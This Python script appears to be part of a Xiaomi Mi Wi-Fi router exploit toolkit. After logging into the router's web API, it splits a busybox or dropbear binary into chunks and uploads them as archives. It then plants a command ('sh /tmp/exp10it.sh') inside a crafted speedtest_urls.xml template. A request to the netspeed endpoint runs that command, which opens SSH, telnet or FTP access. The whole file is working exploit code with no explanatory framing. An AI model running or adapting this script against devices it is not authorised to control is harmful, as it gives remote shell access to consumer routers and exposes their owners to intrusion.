#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import sys
import re
import time
import random
import hashlib
import requests
import socket
import tarfile

sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import *


gw = gateway.Gateway(detect_device = False)
if len(sys.argv) < 2:
  ip_addr = gw.ip_addr
else:
  ip_addr = sys.argv[1]
  if not ip_addr:
    die("You entered an empty IP-address!")
  gw.ip_addr(ip_addr)
  gw.save_config()

gw = gateway.Gateway(timeout = 4)
if gw.status < 1:
  die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(ip_addr))

dname = gw.device_name
if dname == 'r3600' or dname == 'rb03':
  import connect3
  sys.exit(0)

print("device_name =", gw.device_name)
print("rom_version = {} {}".format(gw.rom_version, gw.rom_channel))
print("mac = {}".format(gw.mac_address))

if gw.ping(verbose = 0) is True:
  die(0, "Exploit already installed and running")

stok = gw.web_login()

dn_tmp = 'tmp/'
if gw.use_ssh:
  dn_dir = 'data/payload_ssh/'
else:
  dn_dir = 'data/payload/'

print("Begin creating a payload for the exploit...")
fn_payload1 = 'tmp/payload1.tar.gz'
fn_payload2 = 'tmp/payload2.tar.gz'
fn_payload3 = 'tmp/payload3.tar.gz'
if gw.use_ssh:
  fn_pfname = 'dropbearmulti'
else:
  fn_pfname = 'busybox'

fn_pf1 = dn_tmp + fn_pfname + '_01'
fn_pf2 = dn_tmp + fn_pfname + '_02'
fn_pf3 = dn_tmp + fn_pfname + '_03'

fn_suffix = '_mips'
if dname == 'r3d':
  fn_suffix = '_armv7a'
if dname == "rb03":
  fn_suffix = '_arm64'

fn_pf = dn_dir + fn_pfname + fn_suffix

if os.path.exists(fn_payload1):
  os.remove(fn_payload1)
if os.path.exists(fn_payload2):
  os.remove(fn_payload2)
if os.path.exists(fn_payload3):
  os.remove(fn_payload3)

with open(fn_pf, "rb") as file:
  pf = file.read()
psize = len(pf) // 3
wsize = psize + 8000
with open(fn_pf1, "wb") as file:
  file.write(pf[:wsize])
pf = pf[wsize:]
wsize = psize - 8000
with open(fn_pf2, "wb") as file:
  file.write(pf[:wsize])
pf = pf[wsize:]
with open(fn_pf3, "wb") as file:
  file.write(pf)

fn_exploit = "exp10it.sh"
command = "sh /tmp/" + fn_exploit

fn_executor = "speedtest_urls.xml"
with open(dn_dir + fn_executor, "rt", encoding = "UTF-8") as file:
  template = file.read()
data = template.format(router_ip_address=ip_addr, command=command)
with open(dn_tmp + fn_executor, "wt", encoding = "UTF-8", newline = "\n") as file:
  file.write(data)

with tarfile.open(fn_payload1, "w:gz", compresslevel=9) as tar:
  tar.add(fn_pf1, arcname = os.path.basename(fn_pf1))

with tarfile.open(fn_payload2, "w:gz", compresslevel=9) as tar:
  tar.add(fn_pf2, arcname = os.path.basename(fn_pf2))

with tarfile.open(fn_payload3, "w:gz", compresslevel=9) as tar:
  tar.add(fn_pf3, arcname = os.path.basename(fn_pf3))
  tar.add(dn_dir + fn_exploit, arcname = fn_exploit)
  tar.add(dn_tmp + fn_executor, arcname = fn_executor)

if os.path.exists(fn_pf1):
  os.remove(fn_pf1)
if os.path.exists(fn_pf2):
  os.remove(fn_pf2)
if os.path.exists(fn_pf3):
  os.remove(fn_pf3)

tgz_size1 = os.path.getsize(fn_payload1)
if tgz_size1 > 100*1024 - 128:
  die("File size {} exceeds 100KiB".format(fn_payload1)) 

tgz_size2 = os.path.getsize(fn_payload2)
if tgz_size2 > 100*1024 - 128:
  die("File size {} exceeds 100KiB".format(fn_payload2)) 

print("Start uploading the exploit with payload...")

if (fn_payload1):
  requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload1, 'rb')})
if (fn_payload2):
  requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload2, 'rb')})
if (fn_payload3):
  requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload3, 'rb')})

time.sleep(1)

if gw.use_ssh:
  print("Running SSH server on port 122...")
else:
  print("Running TELNET and FTP servers...")

requests.get(gw.apiurl + "xqnetdetect/netspeed")

time.sleep(0.5)
gw.ping()

print("")
print("#### Connection to device {} is OK ####".format(gw.device_name))